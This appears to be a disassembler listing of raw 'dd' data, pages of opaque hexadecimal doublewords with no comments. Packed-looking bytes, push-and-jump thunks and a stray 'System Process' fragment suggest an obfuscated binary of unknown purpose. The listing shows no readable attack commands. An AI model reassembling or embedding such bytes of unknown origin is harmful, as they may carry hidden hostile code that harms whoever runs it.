		dd 0C75CFA92h, 21923DC4h, 69FBF164h, 0D3242775h, 75FBCFA7h
		dd 4E461CDFh, 1E182ECh,	3046D62Dh, 0F5CBDEh, 0D53F9598h
		dd 399Ch, 636A4200h, 2F278780h,	923DD537h, 0FB122021h
		dd 0A5DF2969h, 0B000D217h, 1CF29D35h, 9BFC224h,	53A9AC14h
		dd 1D6E51BBh, 75FB71F1h, 9C705029h, 0DE2FE545h,	0C18Ch
		dd 150F3200h, 9FEB4B7h,	0EEE89EA1h, 7E40C7Dh, 9DEB6FE9h
		dd 524C0205h, 74870E1h,	9576FE9h, 0B0B31D11h, 8124C25Ah
		dd 0D6FE6FF8h, 0E56FE907h, 7DC0497h, 95E36FE9h,	2BBB82Bh
		dd 57516FE9h, 5ADC4EF9h, 0C9C40F6Bh, 0F287056Fh, 34BD68FBh
		dd 0FD006A5Eh, 0E7EA5247h, 9D65F991h, 0ABC0CECBh, 0F8980B75h
		dd 1769FE23h, 0EAAC1EC9h, 0DE463BFBh, 7D1FC84Ah, 0BDB28813h
		dd 0D2C7B755h, 553F786Ah, 0E3C67333h, 3B73Eh, 77E3D600h
		dd 8BF5E9D9h, 0A305FDEDh, 0B91F1505h, 0CE362B1Bh, 0F664C330h
		dd 0BFB9901h, 2212B014h, 3B2BC929h, 4645E341h, 0B04C74E5h
		dd 40537600h, 0B21A0FEEh, 0CC2A2414h, 0EA5CDA2Eh, 0FCEB74BAh
		dd 653DA773h, 0A10A0D6Bh, 5D7FA718h, 71E26FE9h,	6FE95D49h
		dd 0B5030250h, 1B79734Bh, 5DC5F27Dh, 37366FE9h,	0FB9001ACh
		dd 0A69FB69h, 0FCA1EBCh, 1753BB15h, 0B448AEA4h,	9A1A2F8h
		dd 2A94885Eh, 8467D127h, 1E16D4CEh, 203B69C0h, 0D66E8B3Bh
		dd 65343442h, 8F27AF7Ch, 0D2515CF1h, 8FF9B627h,	0BA0869FBh
		dd 81784EB7h, 0F4014321h, 2FC7F29Eh, 362652C5h,	855E75FBh
		dd 0AD7AD1A5h, 996FDE2Fh, 87E9E19Fh, 2C962E84h,	7AF3h
		dd 865C9900h, 0D3292C8Eh, 1983E1DBh, 8EFF919Ch,	6FE90766h
		dd 7BA31475h, 826FE907h, 59049C34h, 7375FD0h, 0F8466FE9h
		dd 9192038Eh, 0B869FB11h, 0EA16676Ah, 75FB1Eh, 0ECA2A509h
		dd 2E8B8EF8h, 0FC2C9777h, 2457B19Ah, 956E44DCh,	6B8AE1B5h
		dd 0A97FDE30h, 33A44FB1h, 75FBEC0Bh, 215AC412h,	0F0h, 2419EF78h
		dd 0D063B9BCh, 75FBECA8h, 54706DB7h, 315C0627h,	0FF32F99h
		dd 4BB4B715h, 157FC2D9h, 60B6B91Fh, 0F05352CCh,	0E98E577Fh
		dd 8018666Fh, 0E1493E16h, 0D02E28DEh, 0BF1D17CDh, 0AEA87E21h
		dd 7673E650h, 0AE6FE989h, 0C8B856B4h, 0C4EC5DCEh, 1F6FE98Ah
		dd 0E98A86AEh, 4847956Fh, 2A9B73FEh, 8F27397Ah,	198BF4F7h
		dd 0C585CFD6h, 8B0872DDh, 0E5560180h, 69FB262Ch, 0CE710F5Dh
		dd 9C9FFFF8h, 6C5FDC46h, 23B92AD5h, 0EA700FCCh,	512824A0h
		dd 0E074D7CFh, 307B61CEh, 20CB63F6h, 4FED554Ah,	10026A5Fh
		dd 79422DA5h, 0D9CC7154h, 0B4000001h, 0C7B755C1h, 0DBCB69D3h
		dd 0F3E381E3h, 9F997FDh, 0A10EAC14h, 77DFD446h,	8EF2E9D9h
		dd 0A70700F0h, 0C11F1909h, 52C32423h, 7600B22Ah, 0FCC1E31h
		dd 62E9F1Ah, 156FE907h,	0A1912FC7h, 57AB49A7h, 3A62D35Ch
		dd 416FE907h, 10C89F3h,	0C7CA2822h, 8AFFD175h, 0A0381D0Dh
		dd 0EBEC5D08h, 2269FBD1h, 9268D1D4h, 0DF35389Ah, 0DED60275h
		dd 350E75FBh, 522A8155h, 0D971DE30h, 0C8000000h, 229DF9F2h
		dd 488459E8h, 71AD17AFh, 65BB150Fh, 6A92033Dh, 716FE9E8h
		dd 6A808F23h, 9A701BB3h, 0E43A3DA5h, 0ECE1977Ah, 0A03D984h
		dd 0F45D40AAh, 5CC6241Eh, 0E9B0ECE9h, 0CC2A246Fh, 0EA443E2Eh
		dd 6603DF52h, 76791134h, 0E691101Bh, 0ED2DEB5Dh, 38B2DA4Bh
		dd 6BB96FE9h, 0D3F0A0D7h, 4A3DF669h, 0FE4C69FBh, 394BBD60h
		dd 0E75A56B7h, 151895FFh, 3B72E38Eh, 62700FE8h,	9E936914h
		dd 83F59836h, 810E6DA1h, 724AB4FFh, 8823157Dh, 5D79422Eh
		dd 0C6D57Ah, 0D4C70000h, 0E6DACA68h, 0F6EEDE7Ch, 1006F694h
		dd 271C0CAAh, 55B421BFh, 0EC8AF2E7h, 3A105FCh, 1CBA1A13h
		dd 36D4322Ch, 3D65D637h, 4C7600B3h, 1A0FE739h, 719507B2h
		dd 1FF52ADAh, 0C8B836A0h, 7ED270CEh, 0CB7150Fh,	74DE3C36h
		dd 0CFB62891h, 56A17ECFh, 98926AD4h, 0E57DE5DAh, 28BBB247h
		dd 2FD50C7Dh, 0AAF869FFh, 99F7F1A7h, 0A0110BFBh, 2F072Fh
		dd 30C81676h, 653BC42Dh, 0B1070A6Eh, 2FF61Eh, 4DB70576h
		dd 1724DADAh, 3A1AD121h, 0BCB3716Bh, 8C15C058h,	0EAD9F31Bh
		dd 42ACFAE2h, 7CDAD4C4h, 67CDC379h, 6E4E0D64h, 0A947A59Fh
		dd 5E61BFB9h, 0FB9h, 865C6700h,	72D6CD8Dh, 7E81196Fh, 306CBE28h
		dd 0ADB01C0Fh, 9C9FFDF7h, 8A8DEDE6h, 7679DDD4h,	6063CBC0h
		dd 4A4DB5AAh, 35389E94h, 2225877Fh, 0B0E786Ch, 0E389534Dh
		dd 301B850h, 0F7481D23h, 2DE8D1D8h, 716E7E7Ch, 8358C301h
		dd 1C8704EBh, 0B3685C24h, 89000075h, 0AB682414h, 8900007Ah
		dd 0BD55242Ch, 1B0E001Fh, 19A061BAh, 8BEA311Dh,	0C481242Ch
		dd 4, 4EC81h, 24890000h, 24048324h, 73685D04h, 89000049h
		dd 8B82404h, 1000000h, 581089E8h, 5D2434FFh, 0FF04C483h
		dd 835A2434h, 0E6E904C4h, 0A9FFFAD1h, 29DE8730h, 0DB93B838h
		dd 0A3B8DE13h, 30617ADh, 0CEE0FFC5h, 4935BB2Dh,	3C0AABAAh
		dd 0A2BBB48h, 213D767h,	14096E15h, 0C57184EBh, 7A4B7F30h
		dd 0E6306A12h, 8D4F0281h, 17AF018Dh, 7D858B06h,	89061205h
		dd 1209A18Dh, 10E806h, 0E35F0000h, 2F124CD3h, 55904AF2h
		dd 92C84BF3h, 0B5890EA2h, 6121E89h, 585C758h, 88061205h
		dd 6A000066h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 0CD83C350h, 87022FA2h,	4218503h
		dd 81660612h, 0C73981EAh, 121BD985h, 6,	2ACB8000h, 18C0Fh
		dd 0FFF80000h, 121B85B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 90C002Ah, 12000D8Dh
		dd 3195FF06h, 0F506121Bh, 95FF006Ah, 61219CDh, 28EBC08Bh
		dd 6116B1C0h, 3B008F8Dh, 0F1D7A00Dh, 47D629C4h,	502C0D0Fh
		dd 0D69BD0FFh, 53B661D1h, 0CE17DDA0h, 0C0DCC150h, 0B89D22F8h
		dd 178E9h, 5097DF00h, 0C068902Dh, 3C4CA485h, 0E158AB4Dh
		dd 0EA56360Ah, 0E9567E53h, 0E258D00Ah, 0C9713E53h, 9B245E3Ah
		dd 60706453h, 64C45AD1h, 0DCB6879Dh, 0AD148A52h, 12853h
		dd 0
		dd 400h, 2 dup(0)
		dd 2F00h, 0
		dd 800h, 0
		dd 73795300h, 6D6574h, 6F725020h, 73736563h, 5Dh, 43h dup(0)
		dd 1804E900h, 0AA680000h, 0E90617B2h, 0FFFB9A3Eh, 17B39C68h
		dd 9A34E906h, 8368FFFBh, 0E90617B4h, 0FFFB9A2Ah, 17B55168h
		dd 9A20E906h, 5268FFFBh, 0E90617B7h, 0FFFB9A16h, 17B8A968h
		dd 9A0CE906h, 8268FFFBh, 0E90617B9h, 0FFFB9A02h, 17BA4B68h
		dd 99F8E906h, 0F268FFFBh, 0E90617BCh, 0FFFB99EEh, 17BDD268h
		dd 99E4E906h, 8D68FFFBh, 0E90617BEh, 0FFFB99DAh, 17BF2068h
		dd 99D0E906h, 568FFFBh,	0E90617C1h, 0FFFB99C6h,	17C62768h
		dd 99BCE906h, 2668FFFBh, 0E90617C7h, 0FFFB99B2h, 7BFDFC3h
		dd 6BEE8BDh, 4BCEABCh, 0B8E6BAh, 1B9EDB6h, 7B28DF91h, 7629732Bh
		dd 7E267028h, 7B267028h, 504B6B23h, 9618D23Ah, 8C0987B3h
		dd 0FD96247Dh, 45427BA6h, 98E0D1A4h, 0B7479A0Ch, 722A742Dh
		dd 7D6E2D5Eh, 0DCC30BC4h, 428C74C2h, 0EC1B581h,	2E086DBBh
		dd 5C2DBB93h, 6F66DE46h, 0DE0934Ch, 66C3257Dh, 0CDC94C6Fh
		dd 0EB9FB854h, 42D56A40h, 20000000h, 0D2C386B3h, 93C10FBCh
		dd 0ED7D30BBh, 6C415395h, 0B9B0B4Ch, 0EFAFF17Bh, 0E47D795Fh
		dd 8E938FE1h, 941291D9h, 0D662F541h, 64E36A41h,	3E6339A2h
		dd 53F7A960h, 0E8BEE565h, 66287B58h, 0F6h, 0CD247DB1h
		dd 5D3ACAD4h, 0C01A998Ah, 90EF3AD1h, 0E06AFA4Dh, 5853E3C3h
		dd 83139310h, 0CED353A6h, 0EBB640D0h, 74E3FBB3h, 8EB581C6h
		dd 89D38B13h, 3DE8A218h, 42A4D462h, 0AFC57E6Fh,	0B581D549h
		dd 66F649FCh, 3122E112h, 31753078h, 2371C4A1h, 0BB93D67Eh
		dd 70843CEFh, 478F8043h, 0D9B64658h, 947F9586h,	7542782Ch
		dd 0F94C762Dh, 0CF048335h, 320F9F72h, 96873ADFh, 0C151554Eh
		dd 58A091E4h, 0E8A35B4Bh, 10A006A0h, 4360E033h,	1FC92F45h
		dd 0FEA14658h, 142AFBA0h, 46581FECh, 8DBAE61h, 0DA87174Ah
		dd 0B189213Ah, 1554h, 6B237B27h, 6A228421h, 68208620h
		dd 641C821Eh, 651D891Ah, 178C7BF5h, 128DD78Fh, 1A8AD48Ch
		dd 178AD48Ch, 0B4AFCF87h, 961B769Eh, 0F06DEBB3h, 529C267Dh
		dd 2461CCB2h, 0EA34ECBFh, 0AEF6E7B7h, 762EAEF8h, 70C3A030h
		dd 0C40C5BB8h, 5835C5E1h, 0A9AB5167h, 0EB9EB581h, 7A3D4E98h
		dd 0B452A1C8h, 722C75D3h, 0C5DBCC9Fh, 0BB936B04h, 9EF68639h
		dd 4C6F3B4Ah, 31DD4642h, 6A412D26h, 0AF4Eh, 247D9900h
		dd 0BD753396h, 0F7CAE258h, 0F7058706h, 7FE1118Fh, 91129C2Ch
		dd 0E7673768h, 8111E4BAh, 81668A29h, 0D1CDD4B5h, 0CCD2CF19h
		dd 0F8DBE83Ch, 6988F107h, 0ABDBB93h, 0CED0D119h, 560E613Eh
		dd 61523142h, 78979F4Bh, 0FAEB9E42h, 0B1C52B41h, 0C578465Bh
		dd 6A398172h, 2FCC4B3Ch, 208BADDEh, 0A4EEA6F9h,	0FCE9A7FFh
		dd 0B63AD9C7h, 1462461Eh, 89190000h, 92135D15h,	94125C14h
		dd 90105A12h, 970C560Eh, 89E7570Fh, 0C981257Eh,	0C67E207Fh
		dd 0C67E287Ch, 0C179257Ch, 6890A6A1h, 0DDB3961Ah, 267DE25Fh
		dd 42D2CCD3h, 90DA9265h, 78D58D11h, 0D73D530Ch,	8AB581A9h
		dd 9D0484D7h, 2E767101h, 16A03076h, 0AC89198Dh,	9B0686D9h
		dd 0A5014B03h, 0BAE77101h, 34D82CE4h, 3FDE81B2h, 68A1C920h
		dd 293F3003h, 0BB93DC6Ch, 8C9C5609h, 54E63F5Bh,	56470A37h
		dd 524C559Dh, 40D0CED2h, 19C21063h, 4EB9F002h, 57B9DDB7h
		dd 0CFA26234h, 17DEEB3Fh, 3896C61Ch, 0E2D3A678h, 0C666D7CCh
		dd 4435E847h, 7C0CF2C5h, 9F07FF56h, 0C79A7707h,	4BCA8374h
		dd 3BF1FD73h, 8819997Eh, 56A98616h, 77EFCBD6h, 8563F5A0h
		dd 53268024h, 237EC880h, 6DDEBD7Bh, 0E8803F38h,	137B10h
		dd 0FCA20000h, 0FBABFA44h, 0F9ADF943h, 0F5A9F741h, 0F6B0F33Dh
		dd 63A2CE3Eh, 64AE6640h, 61AB633Bh, 61AB6343h, 86A65E40h
		dd 1D8F758Bh, 44C2B396h, 7A247DC7h, 970EFEAh, 695B8315h
		dd 0B34051D9h, 0C6AD86FCh, 813D48B0h, 774AFDB5h, 0EAA9DA24h
		dd 476AE3F9h, 0C70FBB93h, 55DEE4DEh, 4B3DED58h,	0B80BE878h
		dd 5EA86013h, 77CB5B43h, 8096874Ah, 42777C4Dh, 8ED6C77Ah
		dd 0B1576D13h, 0C94657DFh, 7124C9DDh, 0DF826A80h, 4B74657h
		dd 722F7931h, 3B489C2Ch, 0DFFC243Ah, 11714657h,	6C3F1294h
		dd 2F4A657Bh, 0CC7F484Fh, 0AC0E93DBh, 9C8EFF10h, 7F370A90h
		dd 0A2326C35h, 6D5E3D4Eh, 2D9C2A57h, 9A580B56h,	2EAF2421h
		dd 0ADE3BB53h, 0CE000012h, 0C812CAD4h, 0C711C9DDh, 0C50FC7DFh
		dd 0C10BC3DBh, 9C0CC4E2h, 347231D4h, 316D327Ch,	31752F79h
		dd 2C722F79h, 43595474h, 0B3961CDDh, 0C951290h,	0A9D73D53h
		dd 0B98AB581h, 81A97DA3h, 6A3DF0B5h, 9A0C9717h,	0C0BDCEE2h
		dd 81A942AAh, 7144F7B5h, 4BB1C780h, 0FEB581A9h,	0CED8CB4Bh
		dd 1D0E613Eh, 1E881C64h, 0AAC0B18Eh, 0B581A942h, 0A3F144F7h
		dd 0BB93BDFEh, 3575D86Fh, 91BD1FFFh, 82D8F8DAh,	28FBDC99h
		dd 0ECB2EF37h, 0C60E0999h, 5C39C9DDh, 86188909h, 6D9413CEh
		dd 97AEE76Ch, 643DBD10h, 9F01493Ah, 24F7961Bh, 6C3FE8D1h
		dd 1CACFFDCh, 0A4BABBC8h, 4C6C697Ch, 941291F1h,	0D4542704h
		dd 6643D3CBh, 7B8CA293h, 70427E77h, 1B7BA1B7h, 3BEE465Ah
		dd 0BCE343E8h, 0A57F0FE2h, 644262AAh, 5DC3D9D4h, 10465A1Bh
		dd 3D378A5Dh, 0F1ADF424h, 35142539h, 0F452E44h,	66AE4848h
		dd 0F9D66640h, 0BE4E01A6h, 0CB267BC3h, 68F8CBDBh, 0DE0C6DEh
		dd 37673ABAh, 5CC5C1A7h, 0D1C281B2h, 5A23D6BBh,	7A278756h
		dd 0A3762877h, 0AB633613h, 0CE5E4061h, 3632B276h, 0C30B2652h
		dd 1B8B19E0h, 66FBF548h, 9E02EFB2h, 6C11F21Ch, 1EF12D8Fh
		dd 43DB5A4Bh, 2C03C1AEh, 0F0AEF171h, 78308360h,	3A2B732Eh
		dd 0F1ADF2h, 367A02EAh,	31843752h, 5D3C4DA1h, 6B8D566Ch
		dd 62C25C24h, 0D48C5F3Fh, 4A77BF80h, 5EDD9687h,	0EE6F22F1h
		dd 596F60F6h, 542427B3h, 52A0F3A6h, 5A3CD777h, 0E5C1E444h
		dd 0CCD92112h, 1A6D4ADAh, 21851E60h, 77EF3991h,	0BF3E6E0Ch
		dd 277F45BAh, 5B12EF7Fh, 89DC656Ah, 5E4F323Fh, 52698FA5h
		dd 0A4016E0Ch, 0F0957202h, 0E3F9EA3Dh, 6014A2C0h, 95142F5h
		dd 44E0698h, 27CDE39Dh,	1A60F7E5h, 0E5B9E767h, 15A57855h
		dd 0D3D3D21Ah, 3A30080h, 757D4245h, 845CF41Ch, 10ACh, 13CBD3CFh
		dd 12CADCC9h, 10C8DEC8h, 0CC4DAC6h, 0DC5E1C2h, 6F34D39Dh
		dd 6A357F37h, 72327C34h, 6F327C34h, 5C57772Fh, 961EDE46h
		dd 981593B3h, 0CED3267Dh, 0FB45FDD0h, 0DE68F8A6h, 31752EC3h
		dd 5A7ECE5Eh, 0E9011C1h, 0BF174056h, 0A25D642Fh, 0A8000001h
		dd 0EA7A247Dh, 0A55D4160h, 0F51B31EAh, 68B581A9h, 0F5E97BD1h
		dd 0BC8F0A2Dh, 2F121F69h, 254F283Eh, 35E8BB93h,	6D9B4DA5h
		dd 0E3C34C6Fh, 0F6A933C3h, 363218A8h, 4C489A2Dh, 554A92D7h
		dd 0ADAAF649h, 0C76A40F6h, 6Fh,	0C386B312h, 0D2D119D2h
		dd 963381D4h, 5BBB93C1h, 2DD3E9A2h, 204C6C41h, 41F91F6Dh
		dd 15914C6Ch, 7F240191h, 21D479CCh, 579BB130h, 9677D115h
		dd 29069610h, 0A94F6556h, 9C4C6CE7h, 0AE0696E9h, 4C6CE77Ah
		dd 0F1078124h, 4C6CE70Bh, 28B88B3Eh, 0D9D019Eh,	0FD8099BDh
		dd 9AAAAFABh, 6A4270BDh, 66E0988h, 860814E8h, 907133h
		dd 7DBC0000h, 60EA7A24h, 49D36343h, 0D554658h, 27B70A94h
		dd 667C049Dh, 0B581A9BEh, 752D00B3h, 81AEFE5Dh,	59908B5h
		dd 0CBD3CC14h, 530B5E3Bh, 5E4F323Fh, 69AE1848h,	796A1D44h
		dd 7C347231h, 77357132h, 30E87E36h, 55AC841Ch, 2600000Fh
		dd 206A227Ch, 1F692185h, 1D671F87h, 19631B83h, 0F4641C8Ah
		dd 8C1A897Ch, 89158AD4h, 891D87D1h, 841A87D1h, 9BB1ACCCh
		dd 0B3961175h, 0CED6AE8h, 8F17E2C4h, 0D7AA8717h, 79F0484h
		dd 29C054Fh, 247DED4Ah,	4160EA7Ah, 0A9C3293Fh, 0C376B581h
		dd 0B3EE38F0h, 0BE3E683Eh, 5AEABDE1h, 1688175Fh, 894879C3h
		dd 0DC60DF98h, 0F036ABFh, 0DFBFE161h, 9713E8Ch,	7326BB93h
		dd 4DB3C982h, 4C6F09h, 0B28C2469h, 0DE0606Eh, 8E4702BAh
		dd 6F5F9078h, 0E7B7EA4Ch, 6E3C8F42h, 86Ah, 80267DD1h, 58C0D68Fh
		dd 0DB581A9h, 1F77075Ah, 0B581A9C5h, 0EADBBECBh, 9959E9D4h
		dd 3A2BDEBBh, 37EFAFF2h, 5AEAB4EDh, 8026D3D0h, 0E6B99626h
		dd 0EB607128h, 532BC330h, 0E7Ch, 43FBA3FFh, 42FAACF9h
		dd 40F8AEF8h, 3CF4AAF6h, 3DF5B1F2h, 3F64A3CDh, 3A65AF67h
		dd 4262AC64h, 3F62AC64h, 8C87A75Fh, 96108E76h, 0C845C3B3h
		dd 0C880267Dh, 0D8CE237Eh, 2D433ECEh, 0B581A9C7h, 21F4C77Ah
		dd 49A0791h, 1B002474h,	0C3B4EAB7h, 2679257Bh, 0BEFF586Eh
		dd 1775642Fh, 62000000h, 0C518861Ah, 0B47AAF32h, 0FDDB581h
		dd 0FFFFFDB4h, 0CAD4CC14h, 75AFE477h, 5BB581A9h, 647A6B2Eh
		dd 0BB995971h, 0A4DCF66h, 0AD366DD7h, 69B47197h, 5E31E44Ch
		dd 53529A8Bh, 0F5E6C353h, 69B439DFh, 26792C4Ch,	3DB4ED35h
		dd 0D0AD3D69h, 0DFC40CFDh, 4A1D891Ah, 0ACF53FF7h, 0CBD862F2h
		dd 2C8C1DDBh, 16AE30EBh, 0DB33Eh, 0C4DAC800h, 0C3E3C20Ch
		dd 0C1E5C10Bh, 0BDE1BF09h, 0BEE8BB05h, 2BDA9606h, 2C762E78h
		dd 29732B73h, 29732B7Bh, 4E6E2678h, 13D73D53h, 0C8AB396h
		dd 458D0C8Fh, 0FCAAFA94h, 0B5834745h, 0DFBFE262h, 0C2DCC54Fh
		dd 0A5BEE232h, 0BA722C75h, 2F55B3A4h, 0DC164h, 0AF0C0000h
		dd 0B581B47Ah, 0FCFA0FDDh, 0C72FFFFh, 0A9D73D53h, 2A8AB581h
		dd 4572A7Ch, 0D9CA89BAh, 0BB183D5Ah, 53699A19h,	0B581D8ADh
		dd 9A1AEDA0h, 2D0A9A0Ch, 0E830E9DAh, 4AB2C8B8h,	0FFB581D8h
		dd 0CE9794Ch, 0F989158Ch, 0FE7BC91Ch, 1FBB93C0h, 9115E4BFh
		dd 0DF6F4215h, 9D099CE4h, 0C02BFC4Ah, 2F714C6Fh, 4F55DF6Fh
		dd 0C0FD2339h, 0BD704C6Fh, 0A7C95AEAh, 5F475EB2h, 0CD1FF2CFh
		dd 0BBBE5BDAh, 0F03F923Ch, 8EBEA39Dh, 6A41A4C9h, 216ABh
		dd 0A5AFF600h, 0A2B581AAh, 0AF425FBFh, 421FAFF7h, 43FCB76Fh
		dd 81A9C72Dh, 74C77AB5h, 61F1ADF4h, 81AA4709h, 84CCC7B5h
		dd 0FAF58521h, 7E563CE4h, 0AB7E314Ah, 0A4C55E58h, 4524CB25h
		dd 0C0B1E843h, 7E1742AAh, 0F144F74Ah, 0E3C13071h, 2438F0C3h
		dd 0AAA53516h, 577E4462h, 0E705D1A8h, 27049467h, 514D54D4h
		dd 55FDE99h, 20AF7F8Fh,	534ECE21h, 1163BB4Bh, 974A7E1Ch
		dd 59455CA4h, 9F99ECC9h, 5CD8ABAh, 8CA76430h, 0F2000001h
		dd 0EA7A247Dh, 0F3B04160h, 734623B3h, 0CB8100BBh, 0E4545B9h
		dd 366837B7h, 0A96899E3h, 61F5A2B8h, 0AF62BB93h, 9EF05BEh
		dd 3C4C6F20h, 0ABA63689h, 0D1613D63h, 0A5693DF4h, 1BB7BDF7h
		dd 0E4AE7AC8h, 0B4F04C6Fh, 0CBD862F2h, 6D714BDBh, 837FD1F4h
		dd 6DE96E9Eh, 528B6A41h, 0D6000000h, 8F1686B3h,	0D4534417h
		dd 8EE4716Ah, 0A899EC7Ch, 0F82036EFh, 21B5818Ah, 818AE50Bh
		dd 0A558B5h, 13A303A0h,	0BEE36336h, 207350E0h, 93E271D2h
		dd 39346BBh, 6FA279ABh,	145C4F4Ch, 0C8C21591h, 0B3A4B353h
		dd 0D6D06A41h, 0BD000000h, 1F722C75h, 3D530C8Ch, 0B581A9D7h
		dd 484D78Ah, 0C810019Dh, 0E676C9DDh, 0F2B2475Ch, 0C74724B4h
		dd 5A37C7DFh, 574E9687h, 8FE2BF4Fh, 722C75FFh, 554958E2h
		dd 0C24E859Dh, 0F9A8B581h, 0B332EDA5h, 227288F8h, 0F74194E8h
		dd 1607CAh, 4469DAA0h, 0C21F3ED5h, 23E1C1A9h, 1EF41C32h
		dd 0B6694C6Bh, 2339F2E3h, 4C6B1EFDh, 796ABD70h,	7C347231h
		dd 0AF208C1h, 3F4C6B1Eh, 0E9DCD58Ch, 380BC65Ah,	683E65E5h
		dd 0E99207AAh, 0C1993130h, 0B0Ch, 0B36B336Fh, 0B26A3C69h
		dd 0B0683E68h, 0AC643A66h, 0AD654162h, 0CFD4333Dh, 0CAD51FD7h
		dd 0D2D21CD4h, 0CFD21CD4h, 0FCF717CFh, 96153EE6h, 38B533B3h
		dd 0C6E0C40Ch, 119F930Fh, 65919FBh, 0D1891D86h,	0CC841A87h
		dd 7A247D6Fh, 5D4160EAh, 46C0DA5h, 73700000h, 0B998A9F3h
		dd 9C900FC8h, 1C4A2A50h, 6B866EBCh, 8BBB581h, 9AAEC4B5h
		dd 9FBB999Bh, 0AF3F673Fh, 3945FFD2h, 42584908h,	427AD535h
		dd 76BEAF62h, 0DD43592Fh, 9046575Eh, 27B70ADDh,	575E15CFh
		dd 0E2777346h, 58C3F562h, 3BF7F70h, 0AFCA0000h,	0B581A975h
		dd 81A9BC57h, 50CE4DB5h, 451CDACDh, 565BE8A6h, 0AD3C3B9Fh
		dd 3CE3105Ah, 625155D3h, 0CFDD0A1h, 70C3DBC4h, 0ECD0697Fh
		dd 32E5BB93h, 0ED74C374h, 8159F130h, 0A2Ch, 934B534Fh
		dd 924A5C49h, 90485E48h, 8C445A46h, 8D456142h, 0EFB4531Dh
		dd 0EAB5FFB7h, 0F2B2FCB4h, 0EFB2FCB4h, 0DCD7F7AFh, 96145EC6h
		dd 189513B3h, 0D3CD247Dh, 8B5E3BCBh, 0B79AA7FBh, 59E9B0C6h
		dd 0EB9EBB99h, 0C52B41FAh, 784C69F8h, 0A6BA72C5h, 0AFC5B695h
		dd 427108ECh, 3CF5E699h, 510BFE26h, 6DC07346h, 336B347Ch
		dd 959637Bh, 0D9E74651h, 0A88605F6h, 0E48332BBh, 733371F1h
		dd 0FBB306E3h, 9BCCEEB1h, 3AAC2972h, 21AB3B0Eh,	938E1E80h
		dd 3A5CBC14h, 499CD52Ah, 1E0FF2FFh, 70891D65h, 1DE6E30h
		dd 6EC19E2Eh, 43BD4720h, 7F3DF048h, 24BD6FC0h, 71825AF2h
		dd 0A000009h, 44E0698h,	34D05A1h, 14B03A3h, 0FD47FF9Fh
		dd 0D84800A6h, 70366D98h, 6D316EB8h, 6D396BB5h,	68366BB5h
		dd 7F9590B0h, 0B3961799h, 0B3D14ECCh, 53D2C386h, 3AE2A24h
		dd 1D0E61B2h, 99004407h, 535AF1BBh, 0CB59CD33h,	0BF07F8CBh
		dd 85CDBEE0h, 17F4841Ah, 0DDC20CC4h, 0ACDD31C1h, 0EFB4FCEDh
		dd 0C9F14BD3h, 8053D7F1h, 0CFC013F0h, 71F7F2B9h, 64F4A742h
		dd 23832169h, 1963B693h, 223829E8h, 484346F1h, 6CF5B366h
		dd 5E24BDDEh, 8DEEEC6h,	59D0000h, 0E97E199h, 1096E098h
		dd 0C94DE96h, 1390DA92h, 56BDB93h, 4D05A102h, 4A029C03h
		dd 4A02A400h, 45FDA100h, 0EC142A25h, 61B39616h,	0C40C66E3h
		dd 1A8C17E2h, 87DAAD8Ah, 74049A07h, 57E7B7EAh, 9A7EE307h
		dd 0C9DF9707h, 642FBA8Eh, 1E0E6h, 86B33100h, 0A3BCD2C3h
		dd 0D4BB93C3h, 0B3AC353Dh, 3C0F2CA1h, 0AB9054ACh, 0D9CA4C6Ch
		dd 0F3B33DCDh, 0A66823B3h, 0BCB80ABDh, 0B8B0A7A7h, 0AEC46A42h
		dd 0F000001h, 897A247Dh, 165E6441h, 0A27E94D4h,	26B609DCh
		dd 0A899059Ch, 0D3634360h, 752976F6h, 25566A22h, 1B538D82h
		dd 0EEC1985Fh, 0EA8EE7FDh, 0F4A7BB93h, 0CC344A03h, 0A64C6FBDh
		dd 5003A8FEh, 2A726DFDh, 87D52876h, 4C6FBD5Dh, 1A2A2F2Bh
		dd 6A41A63Dh, 6A37h, 530C8200h,	16BC98D4h, 71BFC25Dh, 0B581C08Bh
		dd 61455EBEh, 0C0F13B8Eh, 41571001h, 0B581C0DBh, 9788DB8Eh
		dd 93A8C081h, 3F61A9BBh, 0E6135C7Bh, 1DF03E8Eh,	7030B08Dh
		dd 6EC19E2Eh, 2E8616C9h, 4C6F8CFAh, 0D97DFD2h, 6A92A899h
		dd 0DF4C6F8Ch, 7ADFD92Ch, 41998DCAh, 4C39B86Ah,	709DCA9Ch
		dd 7C227FFFh, 0DA6729h,	7DB20000h, 60EA7A24h, 0D8D36343h
		dd 0CBBD4D59h, 0A8BEAB6Ah, 0B5812B40h, 1C6F42F5h, 999059Ch
		dd 0D6CF227Fh, 726340D0h, 812BB45Ch, 23F6A9B5h,	0FA31B06Bh
		dd 0E5F7403h, 9AC028EDh, 0D24511E3h, 6643D3D3h,	0F3F24093h
		dd 0BCB5811Dh, 0E3732B74h, 6E33B306h, 69C03F30h, 469DE3B0h
		dd 7421C7DDh, 6114B581h, 6F833B8Eh, 0D58E7F42h,	0FF8F178Dh
		dd 2381CF22h, 0ABB9688h, 6EC1DDC2h, 74C32C9h, 46FDA9FDh
		dd 0A2759607h, 6C3A69B1h, 316D337Bh, 0B971C4A1h, 0B472346Fh
		dd 30EF1D21h, 0F9A37B13h, 82000006h, 7CC67E20h,	7BC57D29h
		dd 79C37B2Bh, 75BF7727h, 50C0782Eh, 0E8BEE520h,	0E5B9E630h
		dd 0E5C1E32Dh, 0E0BEE32Dh, 0F70D0828h, 0B3966811h, 7D49C644h
		dd 7EC88026h, 66C37B23h, 0EA7A247Dh, 6C5D4160h,	91217D24h
		dd 11A961B4h, 5Eh, 0D1A07374h, 0CCD91889h, 9A7707DAh, 0DCCFD47h
		dd 59C1061Ch, 43F6BB99h, 9D839952h, 0F54C69F8h,	9B4EF3ABh
		dd 0FBF171E4h, 66B9D247h, 0F47E60ACh, 5A1304C7h, 7F0F8F12h
		dd 0C4F546BEh, 4A1DFDBBh, 3DCDD9CAh, 87BF0D60h,	0AE4271FAh
		dd 0D58E41FBh, 515D59BFh, 6590C46h, 4438h, 86B39B00h, 0E4FA8E16h
		dd 0B581A93Ch, 1BAB7E31h, 647A6B3Eh, 0BB93B89Fh, 928D1DD0h
		dd 9C180E13h, 18CFB971h, 4B24C89Ah, 0C5AAD3Fh, 4C6C8CD9h
		dd 47C15A7Ch, 5066573Ah, 427E9D8Bh, 0B95109BCh,	89h, 0C386B31Ch
		dd 0F69653D2h, 0C9F76714h, 546F8576h, 15BB9997h, 0C3F63596h
